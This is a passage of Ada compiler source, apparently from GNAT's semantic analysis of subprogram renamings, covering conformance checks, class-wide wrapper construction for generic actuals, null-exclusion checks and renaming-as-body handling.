(New_F), Ctyp) then return False; end if; if Ctyp >= Mode_Conformant and then Ekind (Old_F) /= Ekind (New_F) then return False; end if; Next_Formal (New_F); Next_Formal (Old_F); end loop; return True; end Conforms; -- Start of processing for Analyze_Renamed_Primitive_Operation begin if not Is_Overloaded (Selector_Name (Name (N))) then Old_S := Entity (Selector_Name (Name (N))); if not Conforms (Old_S, Type_Conformant) then Old_S := Any_Id; end if; else -- Find the operation that matches the given signature declare It : Interp; Ind : Interp_Index; begin Old_S := Any_Id; Get_First_Interp (Selector_Name (Name (N)), Ind, It); while Present (It.Nam) loop if Conforms (It.Nam, Type_Conformant) then Old_S := It.Nam; end if; Get_Next_Interp (Ind, It); end loop; end; end if; if Old_S = Any_Id then Error_Msg_N (" no subprogram or entry matches specification", N); else if Is_Body then if not Conforms (Old_S, Subtype_Conformant) then Error_Msg_N ("subtype conformance error in renaming", N); end if; Generate_Reference (New_S, Defining_Entity (N), 'b'); Style.Check_Identifier (Defining_Entity (N), New_S); else -- Only mode conformance required for a renaming_as_declaration if not Conforms (Old_S, Mode_Conformant) then Error_Msg_N ("mode conformance error in renaming", N); end if; -- Enforce the rule given in (RM 6.3.1 (10.1/2)): a prefixed -- view of a subprogram is intrinsic, because the compiler has -- to generate a wrapper for any call to it. If the name in a -- subprogram renaming is a prefixed view, the entity is thus -- intrinsic, and 'Access cannot be applied to it. Set_Convention (New_S, Convention_Intrinsic); end if; -- Inherit_Renamed_Profile (New_S, Old_S); -- The prefix can be an arbitrary expression that yields an -- object, so it must be resolved. Resolve (Prefix (Name (N))); end if; end Analyze_Renamed_Primitive_Operation; --------------------------------- -- Analyze_Subprogram_Renaming -- --------------------------------- procedure Analyze_Subprogram_Renaming (N : Node_Id) is Formal_Spec : constant Entity_Id := Corresponding_Formal_Spec (N); Is_Actual : constant Boolean := Present (Formal_Spec); Nam : constant Node_Id := Name (N); Save_AV : constant Ada_Version_Type := Ada_Version; Save_AVP : constant Node_Id := Ada_Version_Pragma; Save_AV_Exp : constant Ada_Version_Type := Ada_Version_Explicit; Spec : constant Node_Id := Specification (N); Old_S : Entity_Id := Empty; Rename_Spec : Entity_Id; procedure Build_Class_Wide_Wrapper (Ren_Id : out Entity_Id; Wrap_Id : out Entity_Id); -- Ada 2012 (AI05-0071): A generic/instance scenario involving a formal -- type with unknown discriminants and a generic primitive operation of -- the said type with a box require special processing when the actual -- is a class-wide type: -- -- generic -- type Formal_Typ (<>) is private; -- with procedure Prim_Op (Param : Formal_Typ) is <>; -- package Gen is ... -- -- package Inst is new Gen (Actual_Typ'Class); -- -- In this case the general renaming mechanism used in the prologue of -- an instance no longer applies: -- -- procedure Prim_Op (Param : Formal_Typ) renames Prim_Op; -- -- The above is replaced the following wrapper/renaming combination: -- -- procedure Wrapper (Param : Formal_Typ) is -- wrapper -- begin -- Prim_Op (Param); -- primitive -- end Wrapper; -- -- procedure Prim_Op (Param : Formal_Typ) renames Wrapper; -- -- This transformation applies only if there is no explicit visible -- class-wide operation at the point of the instantiation. Ren_Id is -- the entity of the renaming declaration. When the transformation -- applies, Wrap_Id is the entity of the generated class-wide wrapper -- (or Any_Id). Otherwise, Wrap_Id is the entity of the class-wide -- operation. procedure Check_Null_Exclusion (Ren : Entity_Id; Sub : Entity_Id); -- Ada 2005 (AI-423): Given renaming Ren of subprogram Sub, check the -- following AI rules: -- -- If Ren is a renaming of a formal subprogram and one of its -- parameters has a null exclusion, then the corresponding formal -- in Sub must also have one. Otherwise the subtype of the Sub's -- formal parameter must exclude null. -- -- If Ren is a renaming of a formal function and its return -- profile has a null exclusion, then Sub's return profile must -- have one. Otherwise the subtype of Sub's return profile must -- exclude null. procedure Freeze_Actual_Profile; -- In Ada 2012, enforce the freezing rule concerning formal incomplete -- types: a callable entity freezes its profile, unless it has an -- incomplete untagged formal (RM 13.14(10.2/3)). function Has_Class_Wide_Actual return Boolean; -- Ada 2012 (AI05-071, AI05-0131): True if N is the renaming for a -- defaulted formal subprogram where the actual for the controlling -- formal type is class-wide. function Original_Subprogram (Subp : Entity_Id) return Entity_Id; -- Find renamed entity when the declaration is a renaming_as_body and -- the renamed entity may itself be a renaming_as_body. Used to enforce -- rule that a renaming_as_body is illegal if the declaration occurs -- before the subprogram it completes is frozen, and renaming indirectly -- renames the subprogram itself.(Defect Report 8652/0027). ------------------------------ -- Build_Class_Wide_Wrapper -- ------------------------------ procedure Build_Class_Wide_Wrapper (Ren_Id : out Entity_Id; Wrap_Id : out Entity_Id) is Loc : constant Source_Ptr := Sloc (N); function Build_Call (Subp_Id : Entity_Id; Params : List_Id) return Node_Id; -- Create a dispatching call to invoke routine Subp_Id with actuals -- built from the parameter specifications of list Params. function Build_Expr_Fun_Call (Subp_Id : Entity_Id; Params : List_Id) return Node_Id; -- Create a dispatching call to invoke function Subp_Id with actuals -- built from the parameter specifications of list Params. Return -- directly the call, so that it can be used inside an expression -- function. This is a specificity of the GNATprove mode. function Build_Spec (Subp_Id : Entity_Id) return Node_Id; -- Create a subprogram specification based on the subprogram profile -- of Subp_Id. function Find_Primitive (Typ : Entity_Id) return Entity_Id; -- Find a primitive subprogram of type Typ which matches the profile -- of the renaming declaration. procedure Interpretation_Error (Subp_Id : Entity_Id); -- Emit a continuation error message suggesting subprogram Subp_Id as -- a possible interpretation. function Is_Intrinsic_Equality (Subp_Id : Entity_Id) return Boolean; -- Determine whether subprogram Subp_Id denotes the intrinsic "=" -- operator. function Is_Suitable_Candidate (Subp_Id : Entity_Id) return Boolean; -- Determine whether subprogram Subp_Id is a suitable candidate for -- the role of a wrapped subprogram. ---------------- -- Build_Call -- ---------------- function Build_Call (Subp_Id : Entity_Id; Params : List_Id) return Node_Id is Actuals : constant List_Id := New_List; Call_Ref : constant Node_Id := New_Occurrence_Of (Subp_Id, Loc); Formal : Node_Id; begin -- Build the actual parameters of the call Formal := First (Params); while Present (Formal) loop Append_To (Actuals, Make_Identifier (Loc, Chars (Defining_Identifier (Formal)))); Next (Formal); end loop; -- Generate: -- return Subp_Id (Actuals); if Ekind_In (Subp_Id, E_Function, E_Operator) then return Make_Simple_Return_Statement (Loc, Expression => Make_Function_Call (Loc, Name => Call_Ref, Parameter_Associations => Actuals)); -- Generate: -- Subp_Id (Actuals); else return Make_Procedure_Call_Statement (Loc, Name => Call_Ref, Parameter_Associations => Actuals); end if; end Build_Call; ------------------------- -- Build_Expr_Fun_Call -- ------------------------- function Build_Expr_Fun_Call (Subp_Id : Entity_Id; Params : List_Id) return Node_Id is Actuals : constant List_Id := New_List; Call_Ref : constant Node_Id := New_Occurrence_Of (Subp_Id, Loc); Formal : Node_Id; begin pragma Assert (Ekind_In (Subp_Id, E_Function, E_Operator)); -- Build the actual parameters of the call Formal := First (Params); while Present (Formal) loop Append_To (Actuals, Make_Identifier (Loc, Chars (Defining_Identifier (Formal)))); Next (Formal); end loop; -- Generate: -- Subp_Id (Actuals); return Make_Function_Call (Loc, Name => Call_Ref, Parameter_Associations => Actuals); end Build_Expr_Fun_Call; ---------------- -- Build_Spec -- ---------------- function Build_Spec (Subp_Id : Entity_Id) return Node_Id is Params : constant List_Id := Copy_Parameter_List (Subp_Id); Spec_Id : constant Entity_Id := Make_Defining_Identifier (Loc, Chars => New_External_Name (Chars (Subp_Id), 'R')); begin if Ekind (Formal_Spec) = E_Procedure then return Make_Procedure_Specification (Loc, Defining_Unit_Name => Spec_Id, Parameter_Specifications => Params); else return Make_Function_Specification (Loc, Defining_Unit_Name => Spec_Id, Parameter_Specifications => Params, Result_Definition => New_Copy_Tree (Result_Definition (Spec))); end if; end Build_Spec; -------------------- -- Find_Primitive -- -------------------- function Find_Primitive (Typ : Entity_Id) return Entity_Id is procedure Replace_Parameter_Types (Spec : Node_Id); -- Given a specification Spec, replace all class-wide parameter -- types with reference to type Typ. ----------------------------- -- Replace_Parameter_Types -- ----------------------------- procedure Replace_Parameter_Types (Spec : Node_Id) is Formal : Node_Id; Formal_Id : Entity_Id; Formal_Typ : Node_Id; begin Formal := First (Parameter_Specifications (Spec)); while Present (Formal) loop Formal_Id := Defining_Identifier (Formal); Formal_Typ := Parameter_Type (Formal); -- Create a new entity for each class-wide formal to prevent -- aliasing with the original renaming. Replace the type of -- such a parameter with the candidate type. if Nkind (Formal_Typ) = N_Identifier and then Is_Class_Wide_Type (Etype (Formal_Typ)) then Set_Defining_Identifier (Formal, Make_Defining_Identifier (Loc, Chars (Formal_Id))); Set_Parameter_Type (Formal, New_Occurrence_Of (Typ, Loc)); end if; Next (Formal); end loop; end Replace_Parameter_Types; -- Local variables Alt_Ren : constant Node_Id := New_Copy_Tree (N); Alt_Nam : constant Node_Id := Name (Alt_Ren); Alt_Spec : constant Node_Id := Specification (Alt_Ren); Subp_Id : Entity_Id; -- Start of processing for Find_Primitive begin -- Each attempt to find a suitable primitive of a particular type -- operates on its own copy of the original renaming. As a result -- the original renaming is kept decoration and side-effect free. -- Inherit the overloaded status of the renamed subprogram name if Is_Overloaded (Nam) then Set_Is_Overloaded (Alt_Nam); Save_Interps (Nam, Alt_Nam); end if; -- The copied renaming is hidden from visibility to prevent the -- pollution of the enclosing context. Set_Defining_Unit_Name (Alt_Spec, Make_Temporary (Loc, 'R')); -- The types of all class-wide parameters must be changed to the -- candidate type. Replace_Parameter_Types (Alt_Spec); -- Try to find a suitable primitive which matches the altered -- profile of the renaming specification. Subp_Id := Find_Renamed_Entity (N => Alt_Ren, Nam => Name (Alt_Ren), New_S => Analyze_Subprogram_Specification (Alt_Spec), Is_Actual => Is_Actual); -- Do not return Any_Id if the resolion of the altered profile -- failed as this complicates further checks on the caller side, -- return Empty instead. if Subp_Id = Any_Id then return Empty; else return Subp_Id; end if; end Find_Primitive; -------------------------- -- Interpretation_Error -- -------------------------- procedure Interpretation_Error (Subp_Id : Entity_Id) is begin Error_Msg_Sloc := Sloc (Subp_Id); if Is_Internal (Subp_Id) then Error_Msg_NE ("\\possible interpretation: predefined & #", Spec, Formal_Spec); else Error_Msg_NE ("\\possible interpretation: & defined #", Spec, Formal_Spec); end if; end Interpretation_Error; --------------------------- -- Is_Intrinsic_Equality -- --------------------------- function Is_Intrinsic_Equality (Subp_Id : Entity_Id) return Boolean is begin return Ekind (Subp_Id) = E_Operator and then Chars (Subp_Id) = Name_Op_Eq and then Is_Intrinsic_Subprogram (Subp_Id); end Is_Intrinsic_Equality; --------------------------- -- Is_Suitable_Candidate -- --------------------------- function Is_Suitable_Candidate (Subp_Id : Entity_Id) return Boolean is begin if No (Subp_Id) then return False; -- An intrinsic subprogram is never a good candidate. This is an -- indication of a missing primitive, either defined directly or -- inherited from a parent tagged type. elsif Is_Intrinsic_Subprogram (Subp_Id) then return False; else return True; end if; end Is_Suitable_Candidate; -- Local variables Actual_Typ : Entity_Id := Empty; -- The actual class-wide type for Formal_Typ CW_Prim_OK : Boolean; CW_Prim_Op : Entity_Id; -- The class-wide subprogram (if available) which corresponds to the -- renamed generic formal subprogram. Formal_Typ : Entity_Id := Empty; -- The generic formal type with unknown discriminants Root_Prim_OK : Boolean; Root_Prim_Op : Entity_Id; -- The root type primitive (if available) which corresponds to the -- renamed generic formal subprogram. Root_Typ : Entity_Id := Empty; -- The root type of Actual_Typ Body_Decl : Node_Id; Formal : Node_Id; Prim_Op : Entity_Id; Spec_Decl : Node_Id; New_Spec : Node_Id; -- Start of processing for Build_Class_Wide_Wrapper begin -- Analyze the specification of the renaming in case the generation -- of the class-wide wrapper fails. Ren_Id := Analyze_Subprogram_Specification (Spec); Wrap_Id := Any_Id; -- Do not attempt to build a wrapper if the renaming is in error if Error_Posted (Nam) then return; end if; -- Analyze the renamed name, but do not resolve it. The resolution is -- completed once a suitable subprogram is found. Analyze (Nam); -- When the renamed name denotes the intrinsic operator equals, the -- name must be treated as overloaded. This allows for a potential -- match against the root type's predefined equality function. if Is_Intrinsic_Equality (Entity (Nam)) then Set_Is_Overloaded (Nam); Collect_Interps (Nam); end if; -- Step 1: Find the generic formal type with unknown discriminants -- and its corresponding class-wide actual type from the renamed -- generic formal subprogram. Formal := First_Formal (Formal_Spec); while Present (Formal) loop if Has_Unknown_Discriminants (Etype (Formal)) and then not Is_Class_Wide_Type (Etype (Formal)) and then Is_Class_Wide_Type (Get_Instance_Of (Etype (Formal))) then Formal_Typ := Etype (Formal); Actual_Typ := Get_Instance_Of (Formal_Typ); Root_Typ := Etype (Actual_Typ); exit; end if; Next_Formal (Formal); end loop; -- The specification of the generic formal subprogram should always -- contain a formal type with unknown discriminants whose actual is -- a class-wide type, otherwise this indicates a failure in routine -- Has_Class_Wide_Actual. pragma Assert (Present (Formal_Typ)); -- Step 2: Find the proper class-wide subprogram or primitive which -- corresponds to the renamed generic formal subprogram. CW_Prim_Op := Find_Primitive (Actual_Typ); CW_Prim_OK := Is_Suitable_Candidate (CW_Prim_Op); Root_Prim_Op := Find_Primitive (Root_Typ); Root_Prim_OK := Is_Suitable_Candidate (Root_Prim_Op); -- The class-wide actual type has two subprograms which correspond to -- the renamed generic formal subprogram: -- with procedure Prim_Op (Param : Formal_Typ); -- procedure Prim_Op (Param : Actual_Typ); -- may be inherited -- procedure Prim_Op (Param : Actual_Typ'Class); -- Even though the declaration of the two subprograms is legal, a -- call to either one is ambiguous and therefore illegal. if CW_Prim_OK and Root_Prim_OK then -- A user-defined primitive has precedence over a predefined one if Is_Internal (CW_Prim_Op) and then not Is_Internal (Root_Prim_Op) then Prim_Op := Root_Prim_Op; elsif Is_Internal (Root_Prim_Op) and then not Is_Internal (CW_Prim_Op) then Prim_Op := CW_Prim_Op; elsif CW_Prim_Op = Root_Prim_Op then Prim_Op := Root_Prim_Op; -- Otherwise both candidate subprograms are user-defined and -- ambiguous. else Error_Msg_NE ("ambiguous actual for generic subprogram &", Spec, Formal_Spec); Interpretation_Error (Root_Prim_Op); Interpretation_Error (CW_Prim_Op); return; end if; elsif CW_Prim_OK and not Root_Prim_OK then Prim_Op := CW_Prim_Op; elsif not CW_Prim_OK and Root_Prim_OK then Prim_Op := Root_Prim_Op; -- An intrinsic equality may act as a suitable candidate in the case -- of a null type extension where the parent's equality is hidden. A -- call to an intrinsic equality is expanded as dispatching. elsif Present (Root_Prim_Op) and then Is_Intrinsic_Equality (Root_Prim_Op) then Prim_Op := Root_Prim_Op; -- Otherwise there are no candidate subprograms. Let the caller -- diagnose the error. else return; end if; -- At this point resolution has taken place and the name is no longer -- overloaded. Mark the primitive as referenced. Set_Is_Overloaded (Name (N), False); Set_Referenced (Prim_Op); -- Do not generate a wrapper when the only candidate is a class-wide -- subprogram. Instead modify the renaming to directly map the actual -- to the generic formal. if CW_Prim_OK and then Prim_Op = CW_Prim_Op then Wrap_Id := Prim_Op; Rewrite (Nam, New_Occurrence_Of (Prim_Op, Loc)); return; end if; -- Step 3: Create the declaration and the body of the wrapper, insert -- all the pieces into the tree. -- In GNATprove mode, create a function wrapper in the form of an -- expression function, so that an implicit postcondition relating -- the result of calling the wrapper function and the result of the -- dispatching call to the wrapped function is known during proof. if GNATprove_Mode and then Ekind_In (Ren_Id, E_Function, E_Operator) then New_Spec := Build_Spec (Ren_Id); Body_Decl := Make_Expression_Function (Loc, Specification => New_Spec, Expression => Build_Expr_Fun_Call (Subp_Id => Prim_Op, Params => Parameter_Specifications (New_Spec))); Wrap_Id := Defining_Entity (Body_Decl); -- Otherwise, create separate spec and body for the subprogram else Spec_Decl := Make_Subprogram_Declaration (Loc, Specification => Build_Spec (Ren_Id)); Insert_Before_And_Analyze (N, Spec_Decl); Wrap_Id := Defining_Entity (Spec_Decl); Body_Decl := Make_Subprogram_Body (Loc, Specification => Build_Spec (Ren_Id), Declarations => New_List, Handled_Statement_Sequence => Make_Handled_Sequence_Of_Statements (Loc, Statements => New_List ( Build_Call (Subp_Id => Prim_Op, Params => Parameter_Specifications (Specification (Spec_Decl)))))); Set_Corresponding_Body (Spec_Decl, Defining_Entity (Body_Decl)); end if; -- If the operator carries an Eliminated pragma, indicate that the -- wrapper is also to be eliminated, to prevent spurious error when -- using gnatelim on programs that include box-initialization of -- equality operators. Set_Is_Eliminated (Wrap_Id, Is_Eliminated (Prim_Op)); -- In GNATprove mode, insert the body in the tree for analysis if GNATprove_Mode then Insert_Before_And_Analyze (N, Body_Decl); end if; -- The generated body does not freeze and must be analyzed when the -- class-wide wrapper is frozen. The body is only needed if expansion -- is enabled. if Expander_Active then Append_Freeze_Action (Wrap_Id, Body_Decl); end if; -- Step 4: The subprogram renaming aliases the wrapper Rewrite (Nam, New_Occurrence_Of (Wrap_Id, Loc)); end Build_Class_Wide_Wrapper; -------------------------- -- Check_Null_Exclusion -- -------------------------- procedure Check_Null_Exclusion (Ren : Entity_Id; Sub : Entity_Id) is Ren_Formal : Entity_Id; Sub_Formal : Entity_Id; begin -- Parameter check Ren_Formal := First_Formal (Ren); Sub_Formal := First_Formal (Sub); while Present (Ren_Formal) and then Present (Sub_Formal) loop if Has_Null_Exclusion (Parent (Ren_Formal)) and then not (Has_Null_Exclusion (Parent (Sub_Formal)) or else Can_Never_Be_Null (Etype (Sub_Formal))) then Error_Msg_NE ("`NOT NULL` required for parameter &", Parent (Sub_Formal), Sub_Formal); end if; Next_Formal (Ren_Formal); Next_Formal (Sub_Formal); end loop; -- Return profile check if Nkind (Parent (Ren)) = N_Function_Specification and then Nkind (Parent (Sub)) = N_Function_Specification and then Has_Null_Exclusion (Parent (Ren)) and then not (Has_Null_Exclusion (Parent (Sub)) or else Can_Never_Be_Null (Etype (Sub))) then Error_Msg_N ("return must specify `NOT NULL`", Result_Definition (Parent (Sub))); end if; end Check_Null_Exclusion; --------------------------- -- Freeze_Actual_Profile -- --------------------------- procedure Freeze_Actual_Profile is F : Entity_Id; Has_Untagged_Inc : Boolean; Instantiation_Node : constant Node_Id := Parent (N); begin if Ada_Version >= Ada_2012 then F := First_Formal (Formal_Spec); Has_Untagged_Inc := False; while Present (F) loop if Ekind (Etype (F)) = E_Incomplete_Type and then not Is_Tagged_Type (Etype (F)) then Has_Untagged_Inc := True; exit; end if; F := Next_Formal (F); end loop; if Ekind (Formal_Spec) = E_Function and then not Is_Tagged_Type (Etype (Formal_Spec)) then Has_Untagged_Inc := True; end if; if not Has_Untagged_Inc then F := First_Formal (Old_S); while Present (F) loop Freeze_Before (Instantiation_Node, Etype (F)); if Is_Incomplete_Or_Private_Type (Etype (F)) and then No (Underlying_Type (Etype (F))) then -- Exclude generic types, or types derived from them. -- They will be frozen in the enclosing instance. if Is_Generic_Type (Etype (F)) or else Is_Generic_Type (Root_Type (Etype (F))) then null; -- A limited view of a type declared elsewhere needs no -- freezing actions. elsif From_Limited_With (Etype (F)) then null; else Error_Msg_NE ("type& must be frozen before this point", Instantiation_Node, Etype (F)); end if; end if; F := Next_Formal (F); end loop; end if; end if; end Freeze_Actual_Profile; --------------------------- -- Has_Class_Wide_Actual -- --------------------------- function Has_Class_Wide_Actual return Boolean is Formal : Entity_Id; Formal_Typ : Entity_Id; begin if Is_Actual then Formal := First_Formal (Formal_Spec); while Present (Formal) loop Formal_Typ := Etype (Formal); if Has_Unknown_Discriminants (Formal_Typ) and then not Is_Class_Wide_Type (Formal_Typ) and then Is_Class_Wide_Type (Get_Instance_Of (Formal_Typ)) then return True; end if; Next_Formal (Formal); end loop; end if; return False; end Has_Class_Wide_Actual; ------------------------- -- Original_Subprogram -- ------------------------- function Original_Subprogram (Subp : Entity_Id) return Entity_Id is Orig_Decl : Node_Id; Orig_Subp : Entity_Id; begin -- First case: renamed entity is itself a renaming if Present (Alias (Subp)) then return Alias (Subp); elsif Nkind (Unit_Declaration_Node (Subp)) = N_Subprogram_Declaration and then Present (Corresponding_Body (Unit_Declaration_Node (Subp))) then -- Check if renamed entity is a renaming_as_body Orig_Decl := Unit_Declaration_Node (Corresponding_Body (Unit_Declaration_Node (Subp))); if Nkind (Orig_Decl) = N_Subprogram_Renaming_Declaration then Orig_Subp := Entity (Name (Orig_Decl)); if Orig_Subp = Rename_Spec then -- Circularity detected return Orig_Subp; else return (Original_Subprogram (Orig_Subp)); end if; else return Subp; end if; else return Subp; end if; end Original_Subprogram; -- Local variables CW_Actual : constant Boolean := Has_Class_Wide_Actual; -- Ada 2012 (AI05-071, AI05-0131): True if the renaming is for a -- defaulted formal subprogram when the actual for a related formal -- type is class-wide. Inst_Node : Node_Id := Empty; New_S : Entity_Id; -- Start of processing for Analyze_Subprogram_Renaming begin -- We must test for the attribute renaming case before the Analyze -- call because otherwise Sem_Attr will complain that the attribute -- is missing an argument when it is analyzed. if Nkind (Nam) = N_Attribute_Reference then -- In the case of an abstract formal subprogram association, rewrite -- an actual given by a stream attribute as the name of the -- corresponding stream primitive of the type. -- In a generic context the stream operations are not generated, and -- this must be treated as a normal attribute reference, to be -- expanded in subsequent instantiations. if Is_Actual and then Is_Abstract_Subprogram (Formal_Spec) and then Expander_Active then declare Prefix_Type : constant Entity_Id := Entity (Prefix (Nam)); Stream_Prim : Entity_Id; begin -- The class-wide forms of the stream attributes are not -- primitive dispatching operations (even though they -- internally dispatch to a stream attribute). if Is_Class_Wide_Type (Prefix_Type) then Error_Msg_N ("attribute must be a primitive dispatching operation", Nam); return; end if; -- Retrieve the primitive subprogram associated with the -- attribute. This can only be a stream attribute, since those -- are the only ones that are dispatching (and the actual for -- an abstract formal subprogram must be dispatching -- operation). case Attribute_Name (Nam) is when Name_Input => Stream_Prim := Find_Optional_Prim_Op (Prefix_Type, TSS_Stream_Input); when Name_Output => Stream_Prim := Find_Optional_Prim_Op (Prefix_Type, TSS_Stream_Output); when Name_Read => Stream_Prim := Find_Optional_Prim_Op (Prefix_Type, TSS_Stream_Read); when Name_Write => Stream_Prim := Find_Optional_Prim_Op (Prefix_Type, TSS_Stream_Write); when others => Error_Msg_N ("attribute must be a primitive dispatching operation", Nam); return; end case; -- If no operation was found, and the type is limited, the user -- should have defined one. if No (Stream_Prim) then if Is_Limited_Type (Prefix_Type) then Error_Msg_NE ("stream operation not defined for type&", N, Prefix_Type); return; -- Otherwise, compiler should have generated default else raise Program_Error; end if; end if; -- Rewrite the attribute into the name of its corresponding -- primitive dispatching subprogram. We can then proceed with -- the usual processing for subprogram renamings. declare Prim_Name : constant Node_Id := Make_Identifier (Sloc (Nam), Chars => Chars (Stream_Prim)); begin Set_Entity (Prim_Name, Stream_Prim); Rewrite (Nam, Prim_Name); Analyze (Nam); end; end; -- Normal processing for a renaming of an attribute else Attribute_Renaming (N); return; end if; end if; -- Check whether this declaration corresponds to the instantiation of a -- formal subprogram. -- If this is an instantiation, the corresponding actual is frozen and -- error messages can be made more precise. If this is a default -- subprogram, the entity is already established in the generic, and is -- not retrieved by visibility. If it is a default with a box, the -- candidate interpretations, if any, have been collected when building -- the renaming declaration. If overloaded, the proper interpretation is -- determined in Find_Renamed_Entity. If the entity is an operator, -- Find_Renamed_Entity applies additional visibility checks. if Is_Actual then Inst_Node := Unit_Declaration_Node (Formal_Spec); -- Check whether the renaming is for a defaulted actual subprogram -- with a class-wide actual. -- The class-wide wrapper is not needed in GNATprove_Mode and there -- is an external axiomatization on the package. if CW_Actual and then Box_Present (Inst_Node) and then not (GNATprove_Mode and then Present (Containing_Package_With_Ext_Axioms (Formal_Spec))) then Build_Class_Wide_Wrapper (New_S, Old_S); elsif Is_Entity_Name (Nam) and then Present (Entity (Nam)) and then not Comes_From_Source (Nam) and then not Is_Overloaded (Nam) then Old_S := Entity (Nam); -- The subprogram renaming declaration may become Ghost if it -- renames a Ghost entity. Mark_Ghost_Renaming (N, Old_S); New_S := Analyze_Subprogram_Specification (Spec); -- Operator case if Ekind (Old_S) = E_Operator then -- Box present if Box_Present (Inst_Node) then Old_S := Find_Renamed_Entity (N, Name (N), New_S, Is_Actual); -- If there is an immediately visible homonym of the operator -- and the declaration has a default, this is worth a warning -- because the user probably did not intend to get the pre- -- defined operator, visible in the generic declaration. To -- find if there is an intended candidate, analyze the renaming -- again in the current context. elsif Scope (Old_S) = Standard_Standard and then Present (Default_Name (Inst_Node)) then declare Decl : constant Node_Id := New_Copy_Tree (N); Hidden : Entity_Id; begin Set_Entity (Name (Decl), Empty); Analyze (Name (Decl)); Hidden := Find_Renamed_Entity (Decl, Name (Decl), New_S, True); if Present (Hidden) and then In_Open_Scopes (Scope (Hidden)) and then Is_Immediately_Visible (Hidden) and then Comes_From_Source (Hidden) and then Hidden /= Old_S then Error_Msg_Sloc := Sloc (Hidden); Error_Msg_N ("default subprogram is resolved in the generic " & "declaration (RM 12.6(17))??", N); Error_Msg_NE ("\and will not use & #??", N, Hidden); end if; end; end if; end if; else Analyze (Nam); -- The subprogram renaming declaration may become Ghost if it -- renames a Ghost entity. if Is_Entity_Name (Nam) then Mark_Ghost_Renaming (N, Entity (Nam)); end if; New_S := Analyze_Subprogram_Specification (Spec); end if; else -- Renamed entity must be analyzed first, to avoid being hidden by -- new name (which might be the same in a generic instance). Analyze (Nam); -- The subprogram renaming declaration may become Ghost if it renames -- a Ghost entity. if Is_Entity_Name (Nam) then Mark_Ghost_Renaming (N, Entity (Nam)); end if; -- The renaming defines a new overloaded entity, which is analyzed -- like a subprogram declaration. New_S := Analyze_Subprogram_Specification (Spec); end if; if Current_Scope /= Standard_Standard then Set_Is_Pure (New_S, Is_Pure (Current_Scope)); end if; -- Set SPARK mode from current context Set_SPARK_Pragma (New_S, SPARK_Mode_Pragma); Set_SPARK_Pragma_Inherited (New_S); Rename_Spec := Find_Corresponding_Spec (N); -- Case of Renaming_As_Body if Present (Rename_Spec) then -- Renaming declaration is the completion of the declaration of -- Rename_Spec. We build an actual body for it at the freezing point. Set_Corresponding_Spec (N, Rename_Spec); -- Deal with special case of stream functions of abstract types -- and interfaces. if Nkind (Unit_Declaration_Node (Rename_Spec)) = N_Abstract_Subprogram_Declaration then -- Input stream functions are abstract if the object type is -- abstract. Similarly, all default stream functions for an -- interface type are abstract. However, these subprograms may -- receive explicit declarations in representation clauses, making -- the attribute subprograms usable as defaults in subsequent -- type extensions. -- In this case we rewrite the declaration to make the subprogram -- non-abstract. We remove the previous declaration, and insert -- the new one at the point of the renaming, to prevent premature -- access to unfrozen types. The new declaration reuses the -- specification of the previous one, and must not be analyzed. pragma Assert (Is_Primitive (Entity (Nam)) and then Is_Abstract_Type (Find_Dispatching_Type (Entity (Nam)))); declare Old_Decl : constant Node_Id := Unit_Declaration_Node (Rename_Spec); New_Decl : constant Node_Id := Make_Subprogram_Declaration (Sloc (N), Specification => Relocate_Node (Specification (Old_Decl))); begin Remove (Old_Decl); Insert_After (N, New_Decl); Set_Is_Abstract_Subprogram (Rename_Spec, False); Set_Analyzed (New_Decl); end; end if; Set_Corresponding_Body (Unit_Declaration_Node (Rename_Spec), New_S); if Ada_Version = Ada_83 and then Comes_From_Source (N) then Error_Msg_N ("(Ada 83) renaming cannot serve as a body", N); end if; Set_Convention (New_S, Convention (Rename_Spec)); Check_Fully_Conformant (New_S, Rename_Spec); Set_Public_Status (New_S); -- The specification does not introduce new formals, but only -- repeats the formals of the original subprogram declaration. -- For cross-reference purposes, and for refactoring tools, we -- treat the formals of the renaming declaration as body formals. Reference_Body_Formals (Rename_Spec, New_S); -- Indicate that the entity in the declaration functions like the -- corresponding body, and is not a new entity. The body will be -- constructed later at the freeze point, so indicate that the -- completion has not been seen yet. Set_Ekind (New_S, E_Subprogram_Body); New_S := Rename_Spec; Set_Has_Completion (Rename_Spec, False); -- Ada 2005: check overriding indicator if Present (Overridden_Operation (Rename_Spec)) then if Must_Not_Override (Specification (N)) then Error_Msg_NE ("subprogram& overrides inherited operation", N, Rename_Spec); elsif Style_Check and then not Must_Override (Specification (N)) then Style.Missing_Overriding (N, Rename_Spec); end if; elsif Must_Override (Specification (N)) then Error_Msg_NE ("subprogram& is not overriding", N, Rename_Spec); end if; -- Normal subprogram renaming (not renaming as body) else Generate_Definition (New_S); New_Overloaded_Entity (New_S); if Is_Entity_Name (Nam) and then Is_Intrinsic_Subprogram (Entity (Nam)) then null; else Check_Delayed_Subprogram (New_S); end if; end if; -- There is no need for elaboration checks on the new entity, which may -- be called before the next freezing point where the body will appear. -- Elaboration checks refer to the real entity, not the one created by -- the renaming declaration. Set_Kill_Elaboration_Checks (New_S, True); -- If we had a previous error, indicate a completely is present to stop -- junk cascaded messages, but don't take any further action. if Etype (Nam) = Any_Type then Set_Has_Completion (New_S); return; -- Case where name has the form of a selected component elsif Nkind (Nam) = N_Selected_Component then -- A name which has the form A.B can designate an entry of task A, a -- protected operation of protected object A, or finally a primitive -- operation of object A. In the later case, A is an object of some -- tagged type, or an access type that denotes one such. To further -- distinguish these cases, note that the scope of a task entry or -- protected operation is type of the prefix. -- The prefix could be an overloaded function call that returns both -- kinds of operations. This overloading pathology is left to the -- dedicated reader ??? declare T : constant Entity_Id := Etype (Prefix (Nam)); begin if Present (T) and then (Is_Tagged_Type (T) or else (Is_Access_Type (T) and then Is_Tagged_Type (Designated_Type (T)))) and then Scope (Entity (Selector_Name (Nam))) /= T then Analyze_Renamed_Primitive_Operation (N, New_S, Present (Rename_Spec)); return; else -- Renamed entity is an entry or protected operation. For those -- cases an explicit body is built (at the point of freezing of -- this entity) that contains a call to the renamed entity. -- This is not allowed for renaming as body if the renamed -- spec is already frozen (see RM 8.5.4(5) for details). if Present (Rename_Spec) and then Is_Frozen (Rename_Spec) then Error_Msg_N ("renaming-as-body cannot rename entry as subprogram", N); Error_Msg_NE ("\since & is already frozen (RM 8.5.4(5))", N, Rename_Spec); else Analyze_Renamed_Entry (N, New_S, Present (Rename_Spec)); end if; return; end if; end; -- Case where name is an explicit dereference X.all elsif Nkind (Nam) = N_Explicit_Dereference then -- Renamed entity is designated by access_to_subprogram expression. -- Must build body to encapsulate call, as in the entry case. Analyze_Renamed_Dereference (N, New_S, Present 